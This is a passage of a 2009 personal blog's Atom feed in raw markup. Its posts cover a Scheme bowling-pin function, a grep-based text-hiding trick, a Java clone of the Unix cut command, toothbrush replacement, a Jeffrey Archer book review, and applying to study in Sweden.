count)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(+ count 1))))&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(define (number-of-pins-it n)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(number-of-pins-it-help n 0 1))&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt; 	&lt;title&gt;&lt;/title&gt; 	&lt;meta name="GENERATOR" content="OpenOffice.org 3.0  (Linux)"&gt; 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt; 	&lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-it 3)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;6&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-it 4)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;10&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-it 5)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;15&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-it 6)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;21&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-it 7)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;28&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7004105484541932727?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7004105484541932727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7004105484541932727' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7004105484541932727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7004105484541932727'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/12/how-many-pins.html' title='How many pins?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-860237921184142802</id><published>2009-08-04T06:18:00.000-07:00</published><updated>2009-08-04T06:20:34.381-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Simple encryption method in Unix using grep command</title><content type='html'>You can encrypt text with the "grep" command in Unix. You need a file with lot of junk data, a regular expression that will be the key and the text that needs to be encoded(with one character in each line).&lt;br /&gt;&lt;br /&gt;To encode the text do the following steps.&lt;br /&gt;&lt;br /&gt;1)grep -f regularexpressionfile junkdatafile1&gt;result1&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The regularexpressionfile and result1 file should have equal number of lines.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;regularexpressionfile cant begin with "^".&lt;/li&gt;&lt;/ul&gt;2)paste texttoencode result1&gt;result2&lt;br /&gt;&lt;br /&gt;3)grep -vf regularexpressionfile junkdatafile2&gt;junkdatafile3&lt;br /&gt;&lt;br /&gt;4)paste -d"\n" result2 junkdatafile3&gt;encryptedtext&lt;br /&gt;&lt;br /&gt;To decode the text do the following&lt;br /&gt;&lt;br /&gt;1)grep -f regularexpressionfile encryptedtext|cut -c 1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-860237921184142802?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/860237921184142802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=860237921184142802' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/860237921184142802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/860237921184142802'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/08/simple-encryption-method-in-unix-using.html' title='Simple encryption method in Unix using grep command'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8674028123301506703</id><published>2009-07-11T22:01:00.000-07:00</published><updated>2009-07-11T22:08:56.342-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Windows unix cut command - column cut mode</title><content type='html'>The second part of the &lt;a href="http://nagarjunv.blogspot.com/2009/06/program-to-cut-text-file-from-character.html"&gt;Windows Unix Cut command&lt;/a&gt; implements the column cut mode of the Cut command. By specifying flags such as -c for column cut mode and -p for entire file cut mode, the program can be used to cut the file based on column and file respectively.&lt;br /&gt;&lt;br /&gt;This functionality is available in Editplus which offers column select option, but the command line tool can be very useful while cutting enormous files. The latest code is given below:&lt;br /&gt;&lt;br /&gt;import java.io.FileInputStream;&lt;br /&gt;import java.io.FileOutputStream;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;&lt;br /&gt;public class Cut {&lt;br /&gt;   public static void main(String[] args) throws IOException {&lt;br /&gt;       FileInputStream in = null;&lt;br /&gt;       FileOutputStream out = null;&lt;br /&gt;       try {&lt;br /&gt;           in = new FileInputStream(args[1]);&lt;br /&gt;           out = new FileOutputStream("cutoutput.txt");&lt;br /&gt;           if(args[0].equals("-p")){&lt;br /&gt;                                 int c,count=0,llim=Integer.parseInt(args[2]),ulim=Integer.parseInt(args[3]);&lt;br /&gt;                                       while ((c = in.read()) != -1) {&lt;br /&gt;                                             if((char)c=='\n'){&lt;br /&gt;                                                   count =count-1;}&lt;br /&gt;                                                   count++;&lt;br /&gt;                                                   if(count&gt;=llim &amp;amp;&amp;amp; count&lt;=ulim){&lt;br /&gt;                                                   //System.out.println((char)c);&lt;br /&gt;                                                   out.write(c);}&lt;br /&gt;                                       }&lt;br /&gt;                                               System.out.println("Total characters between range is "+(ulim-llim));&lt;br /&gt;                                       }&lt;br /&gt;           else if(args[0].equals("-c")){&lt;br /&gt;                                       int c,count=0,llim=Integer.parseInt(args[2]),ulim=Integer.parseInt(args[3]);&lt;br /&gt;                                       while ((c = in.read()) != -1) {&lt;br /&gt;                                             if((char)c=='\n'){&lt;br /&gt;                                                   count =1;out.write('\n');/*System.out.println();*/}&lt;br /&gt;                                                   count++;&lt;br /&gt;                                                   if(count&gt;=llim &amp;amp;&amp;amp; count&lt;=ulim){&lt;br /&gt;                                                   //System.out.print((char)c);&lt;br /&gt;                                                   out.write(c);}&lt;br /&gt;                                       }&lt;br /&gt;                                       System.out.println("Output to be viewed in Wordpad or higer only" );&lt;br /&gt;                                       }&lt;br /&gt;&lt;br /&gt;       } finally {&lt;br /&gt;           if (in != null) {&lt;br /&gt;               in.close();&lt;br /&gt;           }&lt;br /&gt;           if (out != null) {&lt;br /&gt;               out.close();&lt;br /&gt;           }&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8674028123301506703?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8674028123301506703/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8674028123301506703' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8674028123301506703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8674028123301506703'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/07/windows-unix-cut-command-column-cut.html' title='Windows unix cut command - column cut mode'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8718685852729623960</id><published>2009-06-27T21:35:00.000-07:00</published><updated>2009-06-27T21:44:08.621-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>How Often should one change the toothbrush?</title><content type='html'>Different people use different criteria to change the the tooth brush. Few criteria are as given below:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Till the number of days recommended by the dentist(generally 3 months)&lt;/li&gt;&lt;li&gt;Till the number of days recommended by the toothbrush company(generally 3 to 6 months)&lt;/li&gt;&lt;li&gt;Till after an illness &lt;/li&gt;&lt;li&gt;Till the toothbrush just wears out&lt;/li&gt;&lt;li&gt;Till the toothbrush starts stinking&lt;/li&gt;&lt;li&gt;Till it gets lost&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Although the first two criteria seem sensible enough, they are not based on any quantification of individual toothbrushes. The same toothbrush may become worn out and become a breading ground for germs within a week in one case while it may be fine for 3 months in another case.&lt;br /&gt;&lt;br /&gt;So a scientific method would be to have a few bristles that act as a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Ph&lt;/span&gt; strip. The bristles will be white till the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Ph&lt;/span&gt; value crosses a particular threshold value. After the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Ph&lt;/span&gt; crosses the threshold value and starts to become a breading ground for either fungus or bacteria(acidic or basic) the bristles will change color. Few other chemical tests(such as tests for toxins) can also be used to change the color of the bristles. The user of the toothbrush can change the brush after the color changes.&lt;br /&gt;&lt;br /&gt;Tooth brush change frequency can also be calculated based on Number of bristle breaks per day averaged over a 3 month period to get your individual toothbrush change frequency for any particular brand of toothbrush.&lt;br /&gt;&lt;br /&gt;The toothbrush companies will probably introduce these type of toothbrush when they are economical and desirable to all.&lt;br /&gt;&lt;br /&gt;Do comment below if you use some other criteria for changing your toothbrush.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8718685852729623960?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8718685852729623960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8718685852729623960' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8718685852729623960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8718685852729623960'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/06/how-often-should-one-change-toothbrush.html' title='How Often should one change the toothbrush?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7708902203933311354</id><published>2009-06-26T05:21:00.000-07:00</published><updated>2009-06-26T05:24:02.288-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='book'/><title type='text'>A Prisoner Of Birth – modern version of the Count of Monte Cristo</title><content type='html'>A Prisoner Of Birth by Jeffrey Archer is a modern version of the classic “The Count of Monte Cristo”. However, it does not lack in originality and has been well researched. For example, Japanese knotweed can indeed destroy a building site and bring down the lands real estate value considerably.&lt;br /&gt;&lt;br /&gt;The similarities between the “The Count of Monte Christo” and “A prisoner of Birth” are many such as the following:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Cartwright is the first prisoner to escape from Belmarsh while Dantes is the first to escape from Chateau dlf. &lt;/li&gt;&lt;li&gt;Sir Nicholas, a fellow prisoner teaches Cartwright to read, write and the manners of polite society, while Abbe Faria does it for Dantes.&lt;/li&gt;&lt;li&gt;Cartwright escapes as Sir Nicholas on the death of Sir Nicholas while Dantes escapes as the dead body of Abee Faria. &lt;/li&gt;&lt;li&gt;Both Cartwright and Dantes make use of a title after escaping from prison.&lt;/li&gt;&lt;li&gt;Cartwright gets a huge treasure in the form of stamps from Nicholas’s grandfathers will while Dantes gets the treasure hidden by Abbe Faria.&lt;/li&gt;&lt;li&gt;Both Cartwright and Dantes set out to exact revenge on those who led to their unlawful imprisonment.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Jeffrey archer has also included many of the features of the musketeers and makes known to all off his admiration for  Alexander Dumas and his works. Although the book is continuous and believable for the most part, the part where the trial of Cartwright is dismissed based on the discussion between Spencer Craig and Sir Marshall is rather sudden.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7708902203933311354?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7708902203933311354/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7708902203933311354' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7708902203933311354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7708902203933311354'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/06/prisoner-of-birth-modern-version-of.html' title='A Prisoner Of Birth – modern version of the Count of Monte Cristo'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4055499428268925679</id><published>2009-06-16T05:29:00.000-07:00</published><updated>2009-06-16T05:35:14.420-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Program to cut text file from character position x to y</title><content type='html'>I was searching for a windows equivalent to the Unix "cut" command. However, none could be found. So this java program will eventually do all that the Unix "cut" command does and more.&lt;br /&gt;&lt;br /&gt;The functionality i required was to cut a text file between two given positions.Although this seems simple enough, notepad, textpad etc. don't have this facility. Hope this initial version will help those of you who want to cut a text file between two points. The program does not consider newline characters, but tab, space etc.. are considered while counting.&lt;br /&gt;&lt;br /&gt;import java.io.FileInputStream;&lt;br /&gt;import java.io.FileOutputStream;&lt;br /&gt;import java.io.IOException;&lt;br /&gt;&lt;br /&gt;public class Cut {&lt;br /&gt;   public static void main(String[] args) throws IOException {&lt;br /&gt;       FileInputStream in = null;&lt;br /&gt;       FileOutputStream out = null;&lt;br /&gt;       try {&lt;br /&gt;           in = new FileInputStream(args[0]);&lt;br /&gt;           out = new FileOutputStream("cutoutput.txt");&lt;br /&gt;           int c,count=0,llim=Integer.parseInt(args[1]),ulim=Integer.parseInt(args[2]);&lt;br /&gt;&lt;br /&gt;           while ((c = in.read()) != -1) {&lt;br /&gt;                 if((char)c=='\n'){&lt;br /&gt;                       count =count-1;}&lt;br /&gt;                       count++;&lt;br /&gt;                       if(count&gt;=llim &amp;amp;&amp;amp; count&lt;=ulim){&lt;br /&gt;                       //System.out.println((char)c);&lt;br /&gt;                       out.write(c);}&lt;br /&gt;           }&lt;br /&gt;                       System.out.println("Total characters between range is "+(ulim-llim));&lt;br /&gt;       } finally {&lt;br /&gt;           if (in != null) {&lt;br /&gt;               in.close();&lt;br /&gt;           }&lt;br /&gt;           if (out != null) {&lt;br /&gt;               out.close();&lt;br /&gt;           }&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4055499428268925679?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4055499428268925679/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4055499428268925679' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4055499428268925679'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4055499428268925679'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/06/program-to-cut-text-file-from-character.html' title='Program to cut text file from character position x to y'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-6054630889021034328</id><published>2009-06-15T07:15:00.000-07:00</published><updated>2009-06-15T07:32:44.812-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Study in Sweden - Part - II - Applying for Residence Permit</title><content type='html'>Check the &lt;a href="http://nagarjunv.blogspot.com/2009/06/study-in-sweden-part-i-applying-for.html"&gt;Part I of the Study in Sweden&lt;/a&gt; series for applying to Swedish Universities.&lt;br /&gt;&lt;br /&gt;The first thing to do after getting selected for a university is to apply for a residence permit. You can apply for the residence permit in any of the Swedish consulates or embassies. More details regarding the Residence permit can be found on the website of the &lt;a href="www.migrationsverket.se"&gt;Swedish Migration board&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you are applying for the residence permit at CONSULATE OF SWEDEN at CHENNAI, few details regarding the documents required is given below:&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Note:These details may change and its best to contact the consulate for latest details.&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Two sets of application forms duly completed and signed (Form No. 105031). The forms can be downloaded from the &lt;a href="www.migrationsverket.se"&gt;site&lt;/a&gt; .&lt;/li&gt;&lt;li&gt;Valid passport along with two photocopies (of pages 1,2 and last)&lt;/li&gt;&lt;li&gt;Educational certificates (last exam/degree) – original for perusal and return. Two sets of photo copies&lt;/li&gt;&lt;li&gt;Admission letter from university/college plus two copies. Study should be fulltime.(PDF file can be downloaded from studera site)&lt;/li&gt;&lt;li&gt;Accommodation must be arranged for in Sweden.&lt;/li&gt;&lt;li&gt;Separate Demand drafts for Rs.6000 (application fee, subject to change without prior notice) and Rs.300 (courier fee) being the application fee and courier fee drawn in favour of Consulate of Sweden payable at Chennai.&lt;/li&gt;&lt;li&gt;One must be able to show a minimum of SEK 7 300 per month for 10 months in a year. Applicant is requested to show proof of financial support for the entire planned study period and show the funds in your savings account.  Bank certificate and transaction statement original plus two copies.  If your stay is one year or less than one year. Please enclose the insurance papers&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Three passport size photographs (latest specification given below).&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Instructions concerning photographs which are to be used for visa and permit stickers&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The photograph should be maximum 6 months old.&lt;/li&gt;&lt;li&gt;The width of the photograph should be 35-40 millimeters&lt;/li&gt;&lt;li&gt;The area of the face should be 70-80 of the photograph.&lt;/li&gt;&lt;li&gt;The whole face including part of the shoulders should be visible.&lt;/li&gt;&lt;li&gt;The photograph should have a good colour balance, contrast and sharpness.&lt;/li&gt;&lt;li&gt;The face should be seen directly from the front against a light background. There must not be other people or objects in back-ground.&lt;/li&gt;&lt;li&gt;Both eyes with pupils should be completely visible.&lt;/li&gt;&lt;li&gt;Dark tinted glasses must not be worn, unless required for medical reasons.&lt;/li&gt;&lt;li&gt;The face should be evenly illuminated and there must be no shadows visible in the background.&lt;/li&gt;&lt;li&gt;There must not be any reflections visible in Glasses.&lt;/li&gt;&lt;li&gt;Head coverings are not permitted except for religious reasons. The whole face must be visible.&lt;/li&gt;&lt;li&gt;The photograph should show the person alone with a neutral facial expression and the mouth closed.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Other points of note:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Submission of application between 10.00 am. To 12.30 pm.   from Monday to Friday at the Consulate.&lt;/li&gt;&lt;li&gt;The application is forwarded to the Migration Board in Sweden for decision.&lt;/li&gt;&lt;li&gt;The application must be submitted at least eight weeks prior to departure for Sweden&lt;/li&gt;&lt;li&gt;Please note, photocopies of all documents submitted with the application must be on A4 size paper&lt;/li&gt;&lt;li&gt;As soon as you have received your admission letter and are ready with other documents, please email(svensk[at]vsnl.com) the consulate for an interview date.&lt;/li&gt;&lt;li&gt;All enquiries on your application will be answered only between 2-3 pm. Mon-Fri. on Tel: +91-044-28112232&lt;/li&gt;&lt;/ol&gt;The Swedish consulate is located on Cathedral road and can be easily located on &lt;a href="http://maps.google.co.in/maps?oe=utf-8&amp;amp;rls=org.mozilla:en-GB:official&amp;amp;client=firefox-a&amp;amp;um=1&amp;amp;ie=UTF-8&amp;amp;q=swedish+consulate+chennai&amp;amp;fb=1&amp;amp;split=1&amp;amp;gl=in&amp;amp;view=text&amp;amp;latlng=8169986157029003346"&gt;google map&lt;/a&gt;. If you have any other questions, just comment below.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-6054630889021034328?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/6054630889021034328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=6054630889021034328' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6054630889021034328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6054630889021034328'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/06/study-in-sweden-part-ii-applying-for.html' title='Study in Sweden - Part - II - Applying for Residence Permit'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8791796931100869377</id><published>2009-06-13T04:26:00.000-07:00</published><updated>2009-06-13T04:39:45.923-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Study in Sweden - Part - I - Applying for universities</title><content type='html'>&lt;div&gt;In this series of posts i hope to cover the various steps of Going to study in Sweden.&lt;br /&gt;&lt;br /&gt;How to apply to Universities in Sweden?&lt;/div&gt; &lt;p&gt;To apply to any &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;university&lt;/span&gt; in Sweden a &lt;span style="font-weight: bold;"&gt;single application&lt;/span&gt; can be submitted through the &lt;a href="https://www.studera.nu/"&gt;Studera&lt;/a&gt; site . Click on the &lt;a href="https://www.studera.nu/studera/1374.html"&gt;British flag&lt;/a&gt; for English version of the site. The site opens up admissions for different semesters( Autumn or Winter) at different times. Keep watching the site for updates.&lt;/p&gt;  &lt;p&gt;&lt;br /&gt;Although studying in Sweden is free for all till now. Its expected that a fee will be charged for non-Swedish Nationals in the coming years. See a &lt;a href="en.wikipedia.org/wiki/List_of_universities_in_Sweden"&gt;list of all &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;Swedish&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;universities&lt;/span&gt;&lt;/a&gt; here&lt;span style="color:#008000;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;. If you want details regarding &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;individual&lt;/span&gt; courses offered by each of the institutes, better check the &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;institutes&lt;/span&gt; websites. As of 2009, only four courses can be applied per semester.So choose the courses that you want to apply wisely.Also make sure you rank them according to your priority. If you want to go to a university ranked fourth, but have got admission to the first choice, few universities allow you to get admission directly.&lt;br /&gt;&lt;/p&gt;  &lt;p&gt;The documents that will be required are listed in the &lt;a href="http://studera.nu/" target="_blank"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;studera&lt;/span&gt;.nu&lt;/a&gt; website. The transcript can be obtained directly from your university by sending a Demand draft and other details. Generally this takes &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;up to&lt;/span&gt; 15 or even 20 days by post. So better apply for the transcript early. &lt;/p&gt;  &lt;p&gt;The letters of &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_7"&gt;recommendation&lt;/span&gt; need to be &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;obtained&lt;/span&gt; from your professor's and faculty, need to be sent along with the application. &lt;/p&gt; &lt;p&gt;A motivation letter apart from the CV needs to be sent along with various certificates and proofs. Generally the degree certificates and other marks cards are expected. Its mandatory that all the certificates and &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_9"&gt;marks cards&lt;/span&gt; are approved by a Notary. &lt;/p&gt;  The application can be sent by Speed post or courier. The Indian speed post is rather reliable and sometimes better than private courier services. On an average it takes &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_10"&gt;at least&lt;/span&gt; a week for the letter to be sent to Sweden from most parts of India and costs around &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;INR&lt;/span&gt; 800.&lt;br /&gt;&lt;br /&gt;If you have any doubts regarding any step, just comment below.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8791796931100869377?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8791796931100869377/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8791796931100869377' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8791796931100869377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8791796931100869377'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/06/study-in-sweden-part-i-applying-for.html' title='Study in Sweden - Part - I - Applying for universities'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 